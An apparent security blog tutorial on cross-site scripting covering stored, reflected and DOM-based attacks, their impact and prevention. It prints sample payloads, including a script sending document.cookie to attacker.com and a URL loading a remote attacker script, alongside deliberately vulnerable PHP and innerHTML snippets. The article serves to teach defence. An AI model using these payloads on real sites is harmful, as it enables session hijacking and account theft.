What is XSS (Cross-Site Scripting)? Real Examples, Attack Types, and Prevention (2026)
What is XSS (Cross-Site Scripting)? Real Examples, Attack Types, and Prevention (2026)
Cross-Site Scripting (XSS) is one of the most common and dangerous web vulnerabilities. It allows attackers to inject malicious scripts into web pages, which then execute in the browser of unsuspecting users — without their knowledge or permission.
The first time I successfully triggered an XSS payload in a PortSwigger lab, I understood why developers fear this vulnerability so much. Seeing JavaScript execute inside a trusted website’s context completely changed how I thought about browser security.
What makes XSS particularly dangerous is that it exploits trust. Users trust the website they're visiting, not knowing that malicious code is running in their browser. This trust can be weaponized to steal session cookies, redirect to phishing pages, log keystrokes, or take over user accounts.
This guide explains XSS step by step with real, working examples of stored XSS, reflected XSS, and DOM-based XSS attacks — plus concrete prevention techniques you can implement today.
- What is XSS (Cross-Site Scripting)?
- How XSS attacks actually work
- Stored XSS: Real comment example
- Reflected XSS: Real search example
- DOM-based XSS: Real fragment example
- Impact of XSS in real applications
- Complete prevention techniques
- XSS FAQ for developers
What is XSS (Cross-Site Scripting)?
XSS (Cross-Site Scripting) is a client-side injection attack where attackers inject malicious JavaScript into trusted websites. When users visit the affected page, the script runs in their browser without their knowledge.
Why XSS is Dangerous
XSS exploits trust. The user trusts the website they're on, not the attacker's injected script. Because the script runs with the same permissions as legitimate site code, it can access cookies, perform actions as the logged-in user, and exfiltrate sensitive data.
The attacker's code runs in the victim's browser, in the context of the trusted website. This is why XSS is so effective for session hijacking, phishing, and account takeover.
How XSS Attacks Actually Work
XSS follows a simple but devastating pipeline:
- Attacker sends untrusted data to the application (via form, URL, comment, etc.)
- Application fails to validate or encode the input properly
- Malicious script is stored or reflected back to the page
- Victim loads the page, and the script executes in their browser
- Attacker steals session cookies, redirects to phishing, logs keystrokes, or takes over the account
The Three Types of XSS
Stored XSS (Most Dangerous)
The malicious script is permanently saved (usually in a database) and then served to any user who views the affected page. This affects ALL users who visit that page — comments, posts, profile fields, blogs. One attack can compromise thousands of users.
Reflected XSS (Common)
The script is reflected in the response via the URL or form field (e.g., search, error, redirect). It only affects users who click the crafted link. Common in phishing emails where attackers trick users into clicking malicious links.
DOM-based XSS (Hard to Detect)
The vulnerability exists purely in JavaScript on the client side (e.g., code that reads location.hash or query parameters). The server sees "clean" HTML, but the browser's DOM manipulates user-controlled values without sanitization. This is the hardest to detect.
Stored XSS: Real Comment Example
Imagine a blog that lets users comment and fails to encode HTML output:
<div class="comment"> <strong>User:</strong> <span id="comment"><?= $user_comment ?></span> </div>
An attacker submits this comment:
<script> var img = new Image(); img.src = 'http://attacker.com?cookie=' + document.cookie; </script>
Now every user who loads the page sends their session cookie to the attacker. The attacker logs in as that user with full account access.
Reflected XSS: Real Search Example
A search page directly echoes the query parameter back:
<h3>Search results for: <?= $_GET['q'] ?></h3>
An attacker crafts a malicious URL:
https://site.com/search?q=<script src="https://attacker.com/xss.js"></script>
They send this link in a phishing email: "Click here to see what people are saying about you!" When a user clicks, the attacker's script loads and:
- Shows a fake login form to steal credentials
- Redirects to a malicious site
- Records keystrokes
- Steals cookies and performs actions as the user
DOM-based XSS: Real Fragment Example
Client-side code that dangerously uses location.hash:
document.getElementById('content').innerHTML = location.hash.substring(1);
An attacker sends:
https://site.com/page#<img src=x onerror=alert('XSS')>
The browser reads the fragment and injects it into the DOM, executing the code. This is dangerous because it never touches the server — making it harder for developers and security tools to detect.
Real-World Impact of XSS
🚩 What Attackers Can Do
- Session hijacking: Script steals document.cookie and sends it to attacker, allowing full account access
- Account takeover: Attacker hijacks session tokens and performs actions as the user
- Data theft: Background script records keystrokes, form inputs, screenshots, and exfiltrates them
- Phishing inside trusted sites: Overlay fake login modals on the real page to trick users into entering credentials
- Malware distribution: Redirect users to sites hosting malware or exploit kits
How to Prevent XSS (2026 Best Practices)
✅ Prevention Techniques
- Output encoding: Always encode user input before rendering in HTML, attributes, or JavaScript. Use context-appropriate encoding (HTML, URL, JavaScript, CSS).
- Use frameworks: React, Angular, and Vue automatically escape values by default. Leverage this protection.
- Content Security Policy (CSP): Restrict execution of inline scripts and limit script sources to trusted domains.
- HttpOnly cookies: Prevent JavaScript from accessing session cookies. This blocks most XSS-based session theft.
- Input validation: Reject malicious input patterns early and validate against expected formats.
- Avoid innerHTML: Use safe DOM APIs like textContent instead of innerHTML. Never use innerHTML with user data.
- Use a template engine: Modern template engines provide auto-escaping by default.
Quick XSS Prevention Checklist
- ✅ Escape all output in templates
- ✅ Enable CSP headers in your application
- ✅ Set HttpOnly + Secure flags on cookies
- ✅ Sanitize user input where needed
- ✅ Use modern frameworks with auto-escaping
- ✅ Test with common XSS payloads
Conclusion
XSS remains one of the most common web vulnerabilities because it's easy to introduce and hard to find without proper testing. However, it's completely preventable if you understand the attack and implement proper protections. The key is controlling how data flows from user input → server → browser. If you encode properly and restrict script execution, most XSS attacks fail instantly.
Comments
Post a Comment